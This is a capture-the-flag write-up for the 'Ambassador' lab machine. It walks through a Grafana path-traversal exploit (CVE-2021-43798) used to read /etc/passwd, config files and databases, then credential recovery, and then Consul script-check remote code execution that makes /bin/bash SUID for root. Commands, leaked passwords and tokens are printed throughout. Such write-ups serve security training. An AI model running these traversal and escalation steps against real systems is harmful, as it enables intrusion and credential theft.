Ambassador
11 minutes to read
consul
internally with a vulnerable configuration. After finding an authentication token in a Git repository, we can use an exploit to get RCE from consul
and get access as root
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.183
- Release: 01 / 10 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.183 -p 22,80,3000,3306
Nmap scan report for 10.10.11.183
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| 256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date:
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date:
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 10
| Capabilities flags: 65535
| Some Capabilities: ODBCClient, LongColumnFlag, InteractiveClient, Speaks41ProtocolNew, FoundRows, LongPassword, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, IgnoreSigpipes, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, SupportsTransactions, IgnoreSpaceBeforeParenthesis, SupportsCompression, Support41Auth, ConnectWithDatabase, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: &^TZ(\x05YqxR\x0EI:f\x03_cqkl
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 125.50 seconds
This machine has ports 22 (SSH), 80, 3000 (HTTP) and 3306 (MySQL) open.
Enumeration
If we go to http://10.10.11.183
, we will see this webpage:
It is a blog with a single post:
The only interesting thing here is that we have a username (developer
).
On port 3000 we have Grafana:
It is Grafana v8.2.0, as shown in the footer. If we search for vulnerabilities, we find one that applies for this version:
$ searchsploit grafana
------------------------------------------------------------ ---------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
------------------------------------------------------------ ---------------------------
Shellcodes: No Results
Foothold
So we will be exploiting CVE-2021-43798, which is a Directory Path Traversal vulnerability without Grafana authentication.
Reading files from the server
First, we will be using the script referenced by searchsploit
:
$ python3 50581.py -H http://10.10.11.183:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
It works, so we have the ability to read files from the server as long as we know the full path. Actually, we can do the same using curl
:
$ curl --path-as-is 10.10.11.183:3000/public/plugins/elasticsearch/../../../../../../../../etc/hosts
127.0.0.1 localhost
127.0.1.1 ambassador
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Notice the use of --path-as-is
option to prevent weird behavior of ../
, as shows 0xdf in this video.
If we read Grafana’s documentation, we get that configuration files are usually stored at /etc/grafana/grafana.ini
when it is installed in Linux using a package manager. We can download the file and read the lines that matter (the ones are not blank or commented):
$ curl --path-as-is 10.10.11.183:3000/public/plugins/elasticsearch/../../../../../../../../etc/grafana/grafana.ini -so grafana.ini
$ grep -vE '^;|^#|^\[|^$' grafana.ini
admin_password = messageInABottle685427
And we have a password (actually a song by The Police). Now we got access to Grafana using admin:messageInABottle685427
:
Here we can poke around a bit and see that there’s a datasource called mysql.yaml
, but nothing more:
It would be useful to obtain the password used to connect to MySQL.
Connecting to MySQL
We can continue exploiting the Directory Path Traversal vulnerability and read the SQLite3 database used by Grafana stored in /var/lib/grafana/grafana.db
:
$ curl --path-as-is 10.10.11.183:3000/public/plugins/elasticsearch/../../../../../../../../var/lib/grafana/grafana.db -so grafana.db
$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 512, database pages 161, cookie 0x119, schema 4, UTF-8, version-valid-for 512
$ sqlite3 grafana.db
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> .tables
alert login_attempt
alert_configuration migration_log
alert_instance ngalert_configuration
alert_notification org
alert_notification_state org_user
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag quota
api_key server_lock
cache_data session
dashboard short_url
dashboard_acl star
dashboard_provisioning tag
dashboard_snapshot team
dashboard_tag team_member
dashboard_version temp_user
data_source test_data
kv_store user
library_element user_auth
library_element_connection user_auth_token
sqlite> .header on
sqlite> select * from data_source;
id|org_id|version|type|name|access|url|password|user|database|basic_auth|basic_auth_user|basic_auth_password|is_default|json_data|created|updated|with_credentials|secure_json_data|read_only|uid
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-10-18 23:09:00|0|{}|1|uKewFgM4z
sqlite> .exit
And there we have the password used for MySQL, which is another song by The Police. Now we can access th the MySQL instance with this command:
$ mysql --user=grafana --password=dontStandSoCloseToMe63221! --host=10.10.11.183
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 103
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0,10 sec)
There’s a suspicious database called whackywidget
… Let’s see what’s inside:
mysql> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0,10 sec)
mysql> describe users;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| user | varchar(255) | YES | | NULL | |
| pass | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0,11 sec)
mysql> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,11 sec)
It looks like a Base64-encoded password:
$ echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d
anEnglishManInNewYork027468
This time, it is a song by Sting, the frontman of The Police. Anyway, this was the password referred to by the blog post at the start, so we have SSH access as developer
:
$ ssh developer@10.10.11.183
developer@10.10.11.183's password:
developer@ambassador:~$ cat user.txt
58ffbf48bc8ea27324e379860cf8c5cc
System enumeration
We can see that there are too many ports open internally:
developer@ambassador:~$ netstat -nat | grep LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3000 :::* LISTEN
We can take a look at /proc/net/tcp
to see the UID that runs the process that listens on those TCP ports:
developer@ambassador:~$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 114 0 37703 1 0000000000000000 100 0 0 10 0
1: 00000000:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 114 0 37705 1 0000000000000000 100 0 0 10 0
2: 0100007F:206C 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37944 1 0000000000000000 100 0 0 10 0
3: 0100007F:206D 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37946 1 0000000000000000 100 0 0 10 0
4: 0100007F:206E 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37667 1 0000000000000000 100 0 0 10 0
5: 0100007F:2134 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37962 1 0000000000000000 100 0 0 10 0
6: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 35809 1 0000000000000000 100 0 0 10 0
7: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 36734 1 0000000000000000 100 0 0 10 0
8: 0100007F:2198 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37960 1 0000000000000000 100 0 0 10 0
9: 0100007F:A85B 0100007F:206C 01 00000000:00000000 02:00000146 00000000 0 0 37672 2 0000000000000000 20 4 28 10 -1
10: B70B0A0A:CBEE 140E0A0A:115C 01 00000000:00000000 00:00000000 00000000 0 0 158001 1 0000000000000000 21 4 29 10 -1
11: 0100007F:97D5 0100007F:206C 01 00000000:00000000 02:00000466 00000000 0 0 37673 2 0000000000000000 20 4 1 10 -1
12: B70B0A0A:0016 2C110A0A:D8D1 01 00000024:00000000 01:00000024 00000000 0 0 213929 4 0000000000000000 36 4 31 10 46
13: 0100007F:206C 0100007F:A85B 01 00000000:00000000 02:00000146 00000000 0 0 37676 2 0000000000000000 20 4 27 10 -1
14: B70B0A0A:E29C 08080808:0035 02 00000001:00000000 01:0000010A 00000002 101 0 216094 2 0000000000000000 400 0 0 1 7
15: 0100007F:206C 0100007F:97D5 01 00000000:00000000 02:00000466 00000000 0 0 37675 2 0000000000000000 20 4 0 10 -1
It is UID 0
for most ports, so the processes are running as root
. We can try to connect to some of them and we see that port 8500 responds:
developer@ambassador:~$ curl 127.0.0.1:8500; echo
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
So it is running consul
. We can verify that it runs as root
:
developer@ambassador:~$ ps -faux | grep root | grep consul
root 1107 0.3 3.9 797876 79008 ? Ssl Oct18 4:16 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
There it is. In fact, we have permissions on /etc/consul.d/config.d
as member of developer
group:
developer@ambassador:~$ ls -l /etc/consul.d/
total 16
drwx-wx--- 2 root developer 4096 Sep 14 11:00 config.d
-rw-r--r-- 1 consul consul 0 Feb 28 2022 consul.env
-rw-r--r-- 1 consul consul 5303 Mar 14 2022 consul.hcl
-rw-r--r-- 1 consul consul 160 Mar 15 2022 README
Privilege escalation
After reading some documentation, we find some security issues when enable_script_checks
is set to true
(more information here). Indeed, we have this situation:
developer@ambassador:~$ grep -vE '^#|^$' /etc/consul.d/consul.hcl
data_dir = "/opt/consul"
server = true
bind_addr = "127.0.0.1"
bootstrap_expect=1
acl {
enabled = true
default_policy = "deny"
down_policy = "extend-cache"
}
enable_script_checks = true
This allows us to obtain Remote Code Execution in consul
. This GitHub repository has a tool that automates the process, but we need an authentication token.
Git enumeration
Taking a look again at the configuration of consul
, we see that data_dir = "/opt/consul"
, so let’s see what’s inside /opt
:
developer@ambassador:~$ ls -la /opt
total 16
drwxr-xr-x 4 root root 4096 Sep 1 22:13 .
drwxr-xr-x 20 root root 4096 Sep 15 17:24 ..
drwxr-xr-x 6 consul consul 4096 Oct 19 11:47 consul
drwxrwxr-x 5 root root 4096 Mar 13 2022 my-app
developer@ambassador:~$ cd /opt/my-app/
developer@ambassador:/opt/my-app$ ls -la
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 .
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13 2022 env
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
There’s a Git repository, let’s enumerate it:
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
developer@ambassador:/opt/my-app$ git show c982db
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
new file mode 100755
index 0000000..35c08f6
--- /dev/null
+++ b/whackywidget/put-config-in-consul.sh
@@ -0,0 +1,4 @@
+# We use Consul for application config in production, this script will help set the correct values for the app
+# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$ cat whackywidget/put-config-in-consul.sh
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
And it looks like there was an old commit with the authentication token hard-coded in a file, and now we have it.
Port forwarding
In order to connect to the internal port 8500 from the outside using consul-rce, we need to forward the port, we can do this in SSH (ENTER + ~C
to get the ssh>
prompt):
developer@ambassador:/opt/my-app$
developer@ambassador:/opt/my-app$ ~C
ssh> -L 8500:127.0.0.1:8500
Forwarding port.
developer@ambassador:/opt/my-app$
Now we can get RCE. For example, let’s turn /bin/bash
to be a SUID binary:
developer@ambassador:/opt/my-app$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
$ python3 consul_rce.py -th 127.0.0.1 -tp 8500 -ct bb03b43b-1d81-d62b-24b5-39540ee469b5 -c 'chmod 4755 /bin/bash'
[+] Check byatdhvfeiktmga created successfully
[+] Check byatdhvfeiktmga deregistered successfully
developer@ambassador:/opt/my-app$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
There it is! Now we can get a shell as root
:
developer@ambassador:/opt/my-app$ bash -p
bash-5.0# cat /root/root.txt
237bd60d163238f5794c2a9620def8c1